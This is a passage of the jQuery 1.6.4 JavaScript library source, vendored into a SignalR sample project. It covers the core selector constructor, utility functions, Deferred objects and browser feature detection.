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Contrib.SignalR.SignalRMessageBus/Chat1/Scripts/jquery-1.6.4.js
|
Teleopti/signalr-signalr-messagebus
|
/*!
* jQuery JavaScript Library v1.6.4
* http://jquery.com/
*
* Copyright 2011, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
* Copyright 2011, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
*
* Date: Mon Sep 12 18:54:48 2011 -0400
*/
(function( window, undefined ) {
// Use the correct document accordingly with window argument (sandbox)
var document = window.document,
navigator = window.navigator,
location = window.location;
var jQuery = (function() {
// Define a local copy of jQuery
var jQuery = function( selector, context ) {
// The jQuery object is actually just the init constructor 'enhanced'
return new jQuery.fn.init( selector, context, rootjQuery );
},
// Map over jQuery in case of overwrite
_jQuery = window.jQuery,
// Map over the $ in case of overwrite
_$ = window.$,
// A central reference to the root jQuery(document)
rootjQuery,
// A simple way to check for HTML strings or ID strings
// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
// Check if a string has a non-whitespace character in it
rnotwhite = /\S/,
// Used for trimming whitespace
trimLeft = /^\s+/,
trimRight = /\s+$/,
// Check for digits
rdigit = /\d/,
// Match a standalone tag
rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>)?$/,
// JSON RegExp
rvalidchars = /^[\],:{}\s]*$/,
rvalidescape = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,
rvalidtokens = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g,
// Useragent RegExp
rwebkit = /(webkit)[ \/]([\w.]+)/,
ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/,
rmsie = /(msie) ([\w.]+)/,
rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/,
// Matches dashed string for camelizing
rdashAlpha = /-([a-z]|[0-9])/ig,
rmsPrefix = /^-ms-/,
// Used by jQuery.camelCase as callback to replace()
fcamelCase = function( all, letter ) {
return ( letter + "" ).toUpperCase();
},
// Keep a UserAgent string for use with jQuery.browser
userAgent = navigator.userAgent,
// For matching the engine and version of the browser
browserMatch,
// The deferred used on DOM ready
readyList,
// The ready event handler
DOMContentLoaded,
// Save a reference to some core methods
toString = Object.prototype.toString,
hasOwn = Object.prototype.hasOwnProperty,
push = Array.prototype.push,
slice = Array.prototype.slice,
trim = String.prototype.trim,
indexOf = Array.prototype.indexOf,
// [[Class]] -> type pairs
class2type = {};
jQuery.fn = jQuery.prototype = {
constructor: jQuery,
init: function( selector, context, rootjQuery ) {
var match, elem, ret, doc;
// Handle $(""), $(null), or $(undefined)
if ( !selector ) {
return this;
}
// Handle $(DOMElement)
if ( selector.nodeType ) {
this.context = this[0] = selector;
this.length = 1;
return this;
}
// The body element only exists once, optimize finding it
if ( selector === "body" && !context && document.body ) {
this.context = document;
this[0] = document.body;
this.selector = selector;
this.length = 1;
return this;
}
// Handle HTML strings
if ( typeof selector === "string" ) {
// Are we dealing with HTML string or an ID?
if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) {
// Assume that strings that start and end with <> are HTML and skip the regex check
match = [ null, selector, null ];
} else {
match = quickExpr.exec( selector );
}
// Verify a match, and that no context was specified for #id
if ( match && (match[1] || !context) ) {
// HANDLE: $(html) -> $(array)
if ( match[1] ) {
context = context instanceof jQuery ? context[0] : context;
doc = (context ? context.ownerDocument || context : document);
// If a single string is passed in and it's a single tag
// just do a createElement and skip the rest
ret = rsingleTag.exec( selector );
if ( ret ) {
if ( jQuery.isPlainObject( context ) ) {
selector = [ document.createElement( ret[1] ) ];
jQuery.fn.attr.call( selector, context, true );
} else {
selector = [ doc.createElement( ret[1] ) ];
}
} else {
ret = jQuery.buildFragment( [ match[1] ], [ doc ] );
selector = (ret.cacheable ? jQuery.clone(ret.fragment) : ret.fragment).childNodes;
}
return jQuery.merge( this, selector );
// HANDLE: $("#id")
} else {
elem = document.getElementById( match[2] );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
if ( elem && elem.parentNode ) {
// Handle the case where IE and Opera return items
// by name instead of ID
if ( elem.id !== match[2] ) {
return rootjQuery.find( selector );
}
// Otherwise, we inject the element directly into the jQuery object
this.length = 1;
this[0] = elem;
}
this.context = document;
this.selector = selector;
return this;
}
// HANDLE: $(expr, $(...))
} else if ( !context || context.jquery ) {
return (context || rootjQuery).find( selector );
// HANDLE: $(expr, context)
// (which is just equivalent to: $(context).find(expr)
} else {
return this.constructor( context ).find( selector );
}
// HANDLE: $(function)
// Shortcut for document ready
} else if ( jQuery.isFunction( selector ) ) {
return rootjQuery.ready( selector );
}
if (selector.selector !== undefined) {
this.selector = selector.selector;
this.context = selector.context;
}
return jQuery.makeArray( selector, this );
},
// Start with an empty selector
selector: "",
// The current version of jQuery being used
jquery: "1.6.4",
// The default length of a jQuery object is 0
length: 0,
// The number of elements contained in the matched element set
size: function() {
return this.length;
},
toArray: function() {
return slice.call( this, 0 );
},
// Get the Nth element in the matched element set OR
// Get the whole matched element set as a clean array
get: function( num ) {
return num == null ?
// Return a 'clean' array
this.toArray() :
// Return just the object
( num < 0 ? this[ this.length + num ] : this[ num ] );
},
// Take an array of elements and push it onto the stack
// (returning the new matched element set)
pushStack: function( elems, name, selector ) {
// Build a new jQuery matched element set
var ret = this.constructor();
if ( jQuery.isArray( elems ) ) {
push.apply( ret, elems );
} else {
jQuery.merge( ret, elems );
}
// Add the old object onto the stack (as a reference)
ret.prevObject = this;
ret.context = this.context;
if ( name === "find" ) {
ret.selector = this.selector + (this.selector ? " " : "") + selector;
} else if ( name ) {
ret.selector = this.selector + "." + name + "(" + selector + ")";
}
// Return the newly-formed element set
return ret;
},
// Execute a callback for every element in the matched set.
// (You can seed the arguments with an array of args, but this is
// only used internally.)
each: function( callback, args ) {
return jQuery.each( this, callback, args );
},
ready: function( fn ) {
// Attach the listeners
jQuery.bindReady();
// Add the callback
readyList.done( fn );
return this;
},
eq: function( i ) {
return i === -1 ?
this.slice( i ) :
this.slice( i, +i + 1 );
},
first: function() {
return this.eq( 0 );
},
last: function() {
return this.eq( -1 );
},
slice: function() {
return this.pushStack( slice.apply( this, arguments ),
"slice", slice.call(arguments).join(",") );
},
map: function( callback ) {
return this.pushStack( jQuery.map(this, function( elem, i ) {
return callback.call( elem, i, elem );
}));
},
end: function() {
return this.prevObject || this.constructor(null);
},
// For internal use only.
// Behaves like an Array's method, not like a jQuery method.
push: push,
sort: [].sort,
splice: [].splice
};
// Give the init function the jQuery prototype for later instantiation
jQuery.fn.init.prototype = jQuery.fn;
jQuery.extend = jQuery.fn.extend = function() {
var options, name, src, copy, copyIsArray, clone,
target = arguments[0] || {},
i = 1,
length = arguments.length,
deep = false;
// Handle a deep copy situation
if ( typeof target === "boolean" ) {
deep = target;
target = arguments[1] || {};
// skip the boolean and the target
i = 2;
}
// Handle case when target is a string or something (possible in deep copy)
if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
target = {};
}
// extend jQuery itself if only one argument is passed
if ( length === i ) {
target = this;
--i;
}
for ( ; i < length; i++ ) {
// Only deal with non-null/undefined values
if ( (options = arguments[ i ]) != null ) {
// Extend the base object
for ( name in options ) {
src = target[ name ];
copy = options[ name ];
// Prevent never-ending loop
if ( target === copy ) {
continue;
}
// Recurse if we're merging plain objects or arrays
if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
if ( copyIsArray ) {
copyIsArray = false;
clone = src && jQuery.isArray(src) ? src : [];
} else {
clone = src && jQuery.isPlainObject(src) ? src : {};
}
// Never move original objects, clone them
target[ name ] = jQuery.extend( deep, clone, copy );
// Don't bring in undefined values
} else if ( copy !== undefined ) {
target[ name ] = copy;
}
}
}
}
// Return the modified object
return target;
};
jQuery.extend({
noConflict: function( deep ) {
if ( window.$ === jQuery ) {
window.$ = _$;
}
if ( deep && window.jQuery === jQuery ) {
window.jQuery = _jQuery;
}
return jQuery;
},
// Is the DOM ready to be used? Set to true once it occurs.
isReady: false,
// A counter to track how many items to wait for before
// the ready event fires. See #6781
readyWait: 1,
// Hold (or release) the ready event
holdReady: function( hold ) {
if ( hold ) {
jQuery.readyWait++;
} else {
jQuery.ready( true );
}
},
// Handle when the DOM is ready
ready: function( wait ) {
// Either a released hold or an DOMready/load event and not yet ready
if ( (wait === true && !--jQuery.readyWait) || (wait !== true && !jQuery.isReady) ) {
// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).
if ( !document.body ) {
return setTimeout( jQuery.ready, 1 );
}
// Remember that the DOM is ready
jQuery.isReady = true;
// If a normal DOM Ready event fired, decrement, and wait if need be
if ( wait !== true && --jQuery.readyWait > 0 ) {
return;
}
// If there are functions bound, to execute
readyList.resolveWith( document, [ jQuery ] );
// Trigger any bound ready events
if ( jQuery.fn.trigger ) {
jQuery( document ).trigger( "ready" ).unbind( "ready" );
}
}
},
bindReady: function() {
if ( readyList ) {
return;
}
readyList = jQuery._Deferred();
// Catch cases where $(document).ready() is called after the
// browser event has already occurred.
if ( document.readyState === "complete" ) {
// Handle it asynchronously to allow scripts the opportunity to delay ready
return setTimeout( jQuery.ready, 1 );
}
// Mozilla, Opera and webkit nightlies currently support this event
if ( document.addEventListener ) {
// Use the handy event callback
document.addEventListener( "DOMContentLoaded", DOMContentLoaded, false );
// A fallback to window.onload, that will always work
window.addEventListener( "load", jQuery.ready, false );
// If IE event model is used
} else if ( document.attachEvent ) {
// ensure firing before onload,
// maybe late but safe also for iframes
document.attachEvent( "onreadystatechange", DOMContentLoaded );
// A fallback to window.onload, that will always work
window.attachEvent( "onload", jQuery.ready );
// If IE and not a frame
// continually check to see if the document is ready
var toplevel = false;
try {
toplevel = window.frameElement == null;
} catch(e) {}
if ( document.documentElement.doScroll && toplevel ) {
doScrollCheck();
}
}
},
// See test/unit/core.js for details concerning isFunction.
// Since version 1.3, DOM methods and functions like alert
// aren't supported. They return false on IE (#2968).
isFunction: function( obj ) {
return jQuery.type(obj) === "function";
},
isArray: Array.isArray || function( obj ) {
return jQuery.type(obj) === "array";
},
// A crude way of determining if an object is a window
isWindow: function( obj ) {
return obj && typeof obj === "object" && "setInterval" in obj;
},
isNaN: function( obj ) {
return obj == null || !rdigit.test( obj ) || isNaN( obj );
},
type: function( obj ) {
return obj == null ?
String( obj ) :
class2type[ toString.call(obj) ] || "object";
},
isPlainObject: function( obj ) {
// Must be an Object.
// Because of IE, we also have to check the presence of the constructor property.
// Make sure that DOM nodes and window objects don't pass through, as well
if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
return false;
}
try {
// Not own constructor property must be Object
if ( obj.constructor &&
!hasOwn.call(obj, "constructor") &&
!hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {
return false;
}
} catch ( e ) {
// IE8,9 Will throw exceptions on certain host objects #9897
return false;
}
// Own properties are enumerated firstly, so to speed up,
// if last one is own, then all properties are own.
var key;
for ( key in obj ) {}
return key === undefined || hasOwn.call( obj, key );
},
isEmptyObject: function( obj ) {
for ( var name in obj ) {
return false;
}
return true;
},
error: function( msg ) {
throw msg;
},
parseJSON: function( data ) {
if ( typeof data !== "string" || !data ) {
return null;
}
// Make sure leading/trailing whitespace is removed (IE can't handle it)
data = jQuery.trim( data );
// Attempt to parse using the native JSON parser first
if ( window.JSON && window.JSON.parse ) {
return window.JSON.parse( data );
}
// Make sure the incoming data is actual JSON
// Logic borrowed from http://json.org/json2.js
if ( rvalidchars.test( data.replace( rvalidescape, "@" )
.replace( rvalidtokens, "]" )
.replace( rvalidbraces, "")) ) {
return (new Function( "return " + data ))();
}
jQuery.error( "Invalid JSON: " + data );
},
// Cross-browser xml parsing
parseXML: function( data ) {
var xml, tmp;
try {
if ( window.DOMParser ) { // Standard
tmp = new DOMParser();
xml = tmp.parseFromString( data , "text/xml" );
} else { // IE
xml = new ActiveXObject( "Microsoft.XMLDOM" );
xml.async = "false";
xml.loadXML( data );
}
} catch( e ) {
xml = undefined;
}
if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) {
jQuery.error( "Invalid XML: " + data );
}
return xml;
},
noop: function() {},
// Evaluates a script in a global context
// Workarounds based on findings by Jim Driscoll
// http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
globalEval: function( data ) {
if ( data && rnotwhite.test( data ) ) {
// We use execScript on Internet Explorer
// We use an anonymous function so that context is window
// rather than jQuery in Firefox
( window.execScript || function( data ) {
window[ "eval" ].call( window, data );
} )( data );
}
},
// Convert dashed to camelCase; used by the css and data modules
// Microsoft forgot to hump their vendor prefix (#9572)
camelCase: function( string ) {
return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
},
nodeName: function( elem, name ) {
return elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase();
},
// args is for internal usage only
each: function( object, callback, args ) {
var name, i = 0,
length = object.length,
isObj = length === undefined || jQuery.isFunction( object );
if ( args ) {
if ( isObj ) {
for ( name in object ) {
if ( callback.apply( object[ name ], args ) === false ) {
break;
}
}
} else {
for ( ; i < length; ) {
if ( callback.apply( object[ i++ ], args ) === false ) {
break;
}
}
}
// A special, fast, case for the most common use of each
} else {
if ( isObj ) {
for ( name in object ) {
if ( callback.call( object[ name ], name, object[ name ] ) === false ) {
break;
}
}
} else {
for ( ; i < length; ) {
if ( callback.call( object[ i ], i, object[ i++ ] ) === false ) {
break;
}
}
}
}
return object;
},
// Use native String.trim function wherever possible
trim: trim ?
function( text ) {
return text == null ?
"" :
trim.call( text );
} :
// Otherwise use our own trimming functionality
function( text ) {
return text == null ?
"" :
text.toString().replace( trimLeft, "" ).replace( trimRight, "" );
},
// results is for internal usage only
makeArray: function( array, results ) {
var ret = results || [];
if ( array != null ) {
// The window, strings (and functions) also have 'length'
// The extra typeof function check is to prevent crashes
// in Safari 2 (See: #3039)
// Tweaked logic slightly to handle Blackberry 4.7 RegExp issues #6930
var type = jQuery.type( array );
if ( array.length == null || type === "string" || type === "function" || type === "regexp" || jQuery.isWindow( array ) ) {
push.call( ret, array );
} else {
jQuery.merge( ret, array );
}
}
return ret;
},
inArray: function( elem, array ) {
if ( !array ) {
return -1;
}
if ( indexOf ) {
return indexOf.call( array, elem );
}
for ( var i = 0, length = array.length; i < length; i++ ) {
if ( array[ i ] === elem ) {
return i;
}
}
return -1;
},
merge: function( first, second ) {
var i = first.length,
j = 0;
if ( typeof second.length === "number" ) {
for ( var l = second.length; j < l; j++ ) {
first[ i++ ] = second[ j ];
}
} else {
while ( second[j] !== undefined ) {
first[ i++ ] = second[ j++ ];
}
}
first.length = i;
return first;
},
grep: function( elems, callback, inv ) {
var ret = [], retVal;
inv = !!inv;
// Go through the array, only saving the items
// that pass the validator function
for ( var i = 0, length = elems.length; i < length; i++ ) {
retVal = !!callback( elems[ i ], i );
if ( inv !== retVal ) {
ret.push( elems[ i ] );
}
}
return ret;
},
// arg is for internal usage only
map: function( elems, callback, arg ) {
var value, key, ret = [],
i = 0,
length = elems.length,
// jquery objects are treated as arrays
isArray = elems instanceof jQuery || length !== undefined && typeof length === "number" && ( ( length > 0 && elems[ 0 ] && elems[ length -1 ] ) || length === 0 || jQuery.isArray( elems ) ) ;
// Go through the array, translating each of the items to their
if ( isArray ) {
for ( ; i < length; i++ ) {
value = callback( elems[ i ], i, arg );
if ( value != null ) {
ret[ ret.length ] = value;
}
}
// Go through every key on the object,
} else {
for ( key in elems ) {
value = callback( elems[ key ], key, arg );
if ( value != null ) {
ret[ ret.length ] = value;
}
}
}
// Flatten any nested arrays
return ret.concat.apply( [], ret );
},
// A global GUID counter for objects
guid: 1,
// Bind a function to a context, optionally partially applying any
// arguments.
proxy: function( fn, context ) {
if ( typeof context === "string" ) {
var tmp = fn[ context ];
context = fn;
fn = tmp;
}
// Quick check to determine if target is callable, in the spec
// this throws a TypeError, but we will just return undefined.
if ( !jQuery.isFunction( fn ) ) {
return undefined;
}
// Simulated bind
var args = slice.call( arguments, 2 ),
proxy = function() {
return fn.apply( context, args.concat( slice.call( arguments ) ) );
};
// Set the guid of unique handler to the same of original handler, so it can be removed
proxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++;
return proxy;
},
// Mutifunctional method to get and set values to a collection
// The value/s can optionally be executed if it's a function
access: function( elems, key, value, exec, fn, pass ) {
var length = elems.length;
// Setting many attributes
if ( typeof key === "object" ) {
for ( var k in key ) {
jQuery.access( elems, k, key[k], exec, fn, value );
}
return elems;
}
// Setting one attribute
if ( value !== undefined ) {
// Optionally, function values get executed if exec is true
exec = !pass && exec && jQuery.isFunction(value);
for ( var i = 0; i < length; i++ ) {
fn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass );
}
return elems;
}
// Getting an attribute
return length ? fn( elems[0], key ) : undefined;
},
now: function() {
return (new Date()).getTime();
},
// Use of jQuery.browser is frowned upon.
// More details: http://docs.jquery.com/Utilities/jQuery.browser
uaMatch: function( ua ) {
ua = ua.toLowerCase();
var match = rwebkit.exec( ua ) ||
ropera.exec( ua ) ||
rmsie.exec( ua ) ||
ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||
[];
return { browser: match[1] || "", version: match[2] || "0" };
},
sub: function() {
function jQuerySub( selector, context ) {
return new jQuerySub.fn.init( selector, context );
}
jQuery.extend( true, jQuerySub, this );
jQuerySub.superclass = this;
jQuerySub.fn = jQuerySub.prototype = this();
jQuerySub.fn.constructor = jQuerySub;
jQuerySub.sub = this.sub;
jQuerySub.fn.init = function init( selector, context ) {
if ( context && context instanceof jQuery && !(context instanceof jQuerySub) ) {
context = jQuerySub( context );
}
return jQuery.fn.init.call( this, selector, context, rootjQuerySub );
};
jQuerySub.fn.init.prototype = jQuerySub.fn;
var rootjQuerySub = jQuerySub(document);
return jQuerySub;
},
browser: {}
});
// Populate the class2type map
jQuery.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(i, name) {
class2type[ "[object " + name + "]" ] = name.toLowerCase();
});
browserMatch = jQuery.uaMatch( userAgent );
if ( browserMatch.browser ) {
jQuery.browser[ browserMatch.browser ] = true;
jQuery.browser.version = browserMatch.version;
}
// Deprecated, use jQuery.browser.webkit instead
if ( jQuery.browser.webkit ) {
jQuery.browser.safari = true;
}
// IE doesn't match non-breaking spaces with \s
if ( rnotwhite.test( "\xA0" ) ) {
trimLeft = /^[\s\xA0]+/;
trimRight = /[\s\xA0]+$/;
}
// All jQuery objects should point back to these
rootjQuery = jQuery(document);
// Cleanup functions for the document ready method
if ( document.addEventListener ) {
DOMContentLoaded = function() {
document.removeEventListener( "DOMContentLoaded", DOMContentLoaded, false );
jQuery.ready();
};
} else if ( document.attachEvent ) {
DOMContentLoaded = function() {
// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).
if ( document.readyState === "complete" ) {
document.detachEvent( "onreadystatechange", DOMContentLoaded );
jQuery.ready();
}
};
}
// The DOM ready check for Internet Explorer
function doScrollCheck() {
if ( jQuery.isReady ) {
return;
}
try {
// If IE is used, use the trick by Diego Perini
// http://javascript.nwbox.com/IEContentLoaded/
document.documentElement.doScroll("left");
} catch(e) {
setTimeout( doScrollCheck, 1 );
return;
}
// and execute any waiting functions
jQuery.ready();
}
return jQuery;
})();
var // Promise methods
promiseMethods = "done fail isResolved isRejected promise then always pipe".split( " " ),
// Static reference to slice
sliceDeferred = [].slice;
jQuery.extend({
// Create a simple deferred (one callbacks list)
_Deferred: function() {
var // callbacks list
callbacks = [],
// stored [ context , args ]
fired,
// to avoid firing when already doing so
firing,
// flag to know if the deferred has been cancelled
cancelled,
// the deferred itself
deferred = {
// done( f1, f2, ...)
done: function() {
if ( !cancelled ) {
var args = arguments,
i,
length,
elem,
type,
_fired;
if ( fired ) {
_fired = fired;
fired = 0;
}
for ( i = 0, length = args.length; i < length; i++ ) {
elem = args[ i ];
type = jQuery.type( elem );
if ( type === "array" ) {
deferred.done.apply( deferred, elem );
} else if ( type === "function" ) {
callbacks.push( elem );
}
}
if ( _fired ) {
deferred.resolveWith( _fired[ 0 ], _fired[ 1 ] );
}
}
return this;
},
// resolve with given context and args
resolveWith: function( context, args ) {
if ( !cancelled && !fired && !firing ) {
// make sure args are available (#8421)
args = args || [];
firing = 1;
try {
while( callbacks[ 0 ] ) {
callbacks.shift().apply( context, args );
}
}
finally {
fired = [ context, args ];
firing = 0;
}
}
return this;
},
// resolve with this as context and given arguments
resolve: function() {
deferred.resolveWith( this, arguments );
return this;
},
// Has this deferred been resolved?
isResolved: function() {
return !!( firing || fired );
},
// Cancel
cancel: function() {
cancelled = 1;
callbacks = [];
return this;
}
};
return deferred;
},
// Full fledged deferred (two callbacks list)
Deferred: function( func ) {
var deferred = jQuery._Deferred(),
failDeferred = jQuery._Deferred(),
promise;
// Add errorDeferred methods, then and promise
jQuery.extend( deferred, {
then: function( doneCallbacks, failCallbacks ) {
deferred.done( doneCallbacks ).fail( failCallbacks );
return this;
},
always: function() {
return deferred.done.apply( deferred, arguments ).fail.apply( this, arguments );
},
fail: failDeferred.done,
rejectWith: failDeferred.resolveWith,
reject: failDeferred.resolve,
isRejected: failDeferred.isResolved,
pipe: function( fnDone, fnFail ) {
return jQuery.Deferred(function( newDefer ) {
jQuery.each( {
done: [ fnDone, "resolve" ],
fail: [ fnFail, "reject" ]
}, function( handler, data ) {
var fn = data[ 0 ],
action = data[ 1 ],
returned;
if ( jQuery.isFunction( fn ) ) {
deferred[ handler ](function() {
returned = fn.apply( this, arguments );
if ( returned && jQuery.isFunction( returned.promise ) ) {
returned.promise().then( newDefer.resolve, newDefer.reject );
} else {
newDefer[ action + "With" ]( this === deferred ? newDefer : this, [ returned ] );
}
});
} else {
deferred[ handler ]( newDefer[ action ] );
}
});
}).promise();
},
// Get a promise for this deferred
// If obj is provided, the promise aspect is added to the object
promise: function( obj ) {
if ( obj == null ) {
if ( promise ) {
return promise;
}
promise = obj = {};
}
var i = promiseMethods.length;
while( i-- ) {
obj[ promiseMethods[i] ] = deferred[ promiseMethods[i] ];
}
return obj;
}
});
// Make sure only one callback list will be used
deferred.done( failDeferred.cancel ).fail( deferred.cancel );
// Unexpose cancel
delete deferred.cancel;
// Call given func if any
if ( func ) {
func.call( deferred, deferred );
}
return deferred;
},
// Deferred helper
when: function( firstParam ) {
var args = arguments,
i = 0,
length = args.length,
count = length,
deferred = length <= 1 && firstParam && jQuery.isFunction( firstParam.promise ) ?
firstParam :
jQuery.Deferred();
function resolveFunc( i ) {
return function( value ) {
args[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value;
if ( !( --count ) ) {
// Strange bug in FF4:
// Values changed onto the arguments object sometimes end up as undefined values
// outside the $.when method. Cloning the object into a fresh array solves the issue
deferred.resolveWith( deferred, sliceDeferred.call( args, 0 ) );
}
};
}
if ( length > 1 ) {
for( ; i < length; i++ ) {
if ( args[ i ] && jQuery.isFunction( args[ i ].promise ) ) {
args[ i ].promise().then( resolveFunc(i), deferred.reject );
} else {
--count;
}
}
if ( !count ) {
deferred.resolveWith( deferred, args );
}
} else if ( deferred !== firstParam ) {
deferred.resolveWith( deferred, length ? [ firstParam ] : [] );
}
return deferred.promise();
}
});
jQuery.support = (function() {
var div = document.createElement( "div" ),
documentElement = document.documentElement,
all,
a,
select,
opt,
input,
marginDiv,
support,
fragment,
body,
testElementParent,
testElement,
testElementStyle,
tds,
events,
eventName,
i,
isSupported;
// Preliminary tests
div.setAttribute("className", "t");
div.innerHTML = " <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>";
all = div.getElementsByTagName( "*" );
a = div.getElementsByTagName( "a" )[ 0 ];
// Can't get basic test support
if ( !all || !all.length || !a ) {
return {};
}
// First batch of supports tests
select = document.createElement( "select" );
opt = select.appendChild( document.createElement("option") );
input = div.getElementsByTagName( "input" )[ 0 ];
support = {
// IE strips leading whitespace when .innerHTML is used
leadingWhitespace: ( div.firstChild.nodeType === 3 ),
// Make sure that tbody elements aren't automatically inserted
// IE will insert them into empty tables
tbody: !div.getElementsByTagName( "tbody" ).length,
// Make sure that link elements get serialized correctly by innerHTML
// This requires a wrapper element in IE
htmlSerialize: !!div.getElementsByTagName( "link" ).length,
// Get the style information from getAttribute
// (IE uses .cssText instead)
style: /top/.test( a.getAttribute("style") ),
// Make sure that URLs aren't manipulated
// (IE normalizes it by default)
hrefNormalized: ( a.getAttribute( "href" ) === "/a" ),
// Make sure that element opacity exists
// (IE uses filter instead)
// Use a regex to work around a WebKit issue. See #5145
opacity: /^0.55$/.test( a.style.opacity ),
// Verify style float existence
// (IE uses styleFloat instead of cssFloat)
cssFloat: !!a.style.cssFloat,
// Make sure that if no value is specified for a checkbox
// that it defaults to "on".
// (WebKit defaults to "" instead)
checkOn: ( input.value === "on" ),
// Make sure that a selected-by-default option has a working selected property.
// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)
optSelected: opt.selected,
// Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7)
getSetAttribute: div.className !== "t",
// Will be defined later
submitBubbles: true,
changeBubbles: true,
focusinBubbles: false,
deleteExpando: true,
noCloneEvent: true,
inlineBlockNeedsLayout: false,
shrinkWrapBlocks: false,
reliableMarginRight: true
};
// Make sure checked status is properly cloned
input.checked = true;
support.noCloneChecked = input.cloneNode( true ).checked;
// Make sure that the options inside disabled selects aren't marked as disabled
// (WebKit marks them as disabled)
select.disabled = true;
support.optDisabled = !opt.disabled;
// Test to see if it's possible to delete an expando from an element
// Fails in Internet Explorer
try {
delete div.test;
} catch( e ) {
support.deleteExpando = false;
}
if ( !div.addEventListener && div.attachEvent && div.fireEvent ) {
div.attachEvent( "onclick", function() {
// Cloning a node shouldn't copy over any
// bound event handlers (IE does this)
support.noCloneEvent = false;
});
div.cloneNode( true ).fireEvent( "onclick" );
}
// Check if a radio maintains it's value
// after being appended to the DOM
input = document.createElement("input");
input.value = "t";
input.setAttribute("type", "radio");
support.radioValue = input.value === "t";
input.setAttribute("checked", "checked");
div.appendChild( input );
fragment = document.createDocumentFragment();
fragment.appendChild( div.firstChild );
// WebKit doesn't clone checked state correctly in fragments
support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked;
div.innerHTML = "";
// Figure out if the W3C box model works as expected
div.style.width = div.style.paddingLeft = "1px";
body = document.getElementsByTagName( "body" )[ 0 ];
// We use our own, invisible, body unless the body is already present
// in which case we use a div (#9239)
testElement = document.createElement( body ? "div" : "body" );
testElementStyle = {
visibility: "hidden",
width: 0,
height: 0,
border: 0,
margin: 0,
background: "none"
};
if ( body ) {
jQuery.extend( testElementStyle, {
position: "absolute",
left: "-1000px",
top: "-1000px"
});
}
for ( i in testElementStyle ) {
testElement.style[ i ] = testElementStyle[ i ];
}
testElement.appendChild( div );
testElementParent = body || documentElement;
testElementParent.insertBefore( testElement, testElementParent.firstChild );
// Check if a disconnected checkbox will retain its checked
// value of true after appended to the DOM (IE6/7)
support.appendChecked = input.checked;
support.boxModel = div.offsetWidth === 2;
if ( "zoom" in div.style ) {
// Check if natively block-level elements act like inline-block
// elements when setting their display to 'inline' and giving
// them layout
// (IE < 8 does this)
div.style.display = "inline";
div.style.zoom = 1;
support.inlineBlockNeedsLayout = ( div.offsetWidth === 2 );
// Check if elements with layout shrink-wrap their children
// (IE 6 does this)
div.style.display = "";
div.innerHTML = "<div style='width:4px;'></div>";
support.shrinkWrapBlocks = ( div.offsetWidth !== 2 );
}
div.innerHTML = "<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>";
tds = div.getElementsByTagName( "td" );
// Check if table cells still have offsetWidth/Height when they are set
// to display:none and there are still other visible table cells in a
// table row; if so, offsetWidth/Height are not reliable for use when
// determining if an element has been hidden directly using
// display:none (it is still safe to use offsets if a parent element is
// hidden; don safety goggles and see bug #4512 for more information).
// (only IE 8 fails this test)
isSupported = ( tds[ 0 ].offsetHeight === 0 );
tds[ 0 ].style.display = "";
tds[ 1 ].style.display = "none";
// Check if empty table cells still have offsetWidth/Height
// (IE < 8 fail this test)
support.reliableHiddenOffsets = isSupported && ( tds[ 0 ].offsetHeight === 0 );
div.innerHTML = "";
// Check if div with explicit width and no margin-right incorrectly
// gets computed margin-right based on width of container. For more
// info see bug #3333
// Fails in WebKit before Feb 2011 nightlies
// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
if ( document.defaultView && document.defaultView.getComputedStyle ) {
marginDiv = document.createElement( "div" );
marginDiv.style.width = "0";
marginDiv.style.marginRight = "0";
div.appendChild( marginDiv );
support.reliableMarginRight =
( parseInt( ( document.defaultView.getComputedStyle( marginDiv, null ) || { marginRight: 0 } ).marginRight, 10 ) || 0 ) === 0;
}
// Remove the body element we added
testElement.innerHTML = "";
testElementParent.removeChild( testElement );
// Technique from Juriy Zaytsev
// http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/
// We only care about the case where non-standard event systems
// are used, namely in IE. Short-circuiting here helps us to
// avoid an eval call (in setAttribute) which can cause CSP
// to go haywire. See: https://developer.mozilla.org/en/Security/CSP
if ( div.attachEvent ) {
for( i in {
submit: 1,
change: 1,
focusin: 1
} ) {
eventName = "on" + i;
isSupported = ( eventName in div );
if ( !isSupported ) {
div.setAttribute( eventName, "return;" );
isSupported = ( typeof div[ eventName ] === "function" );
}
support[ i + "Bubbles" ] = isSupported;
}
}
// Null connected elements to avoid leaks in IE
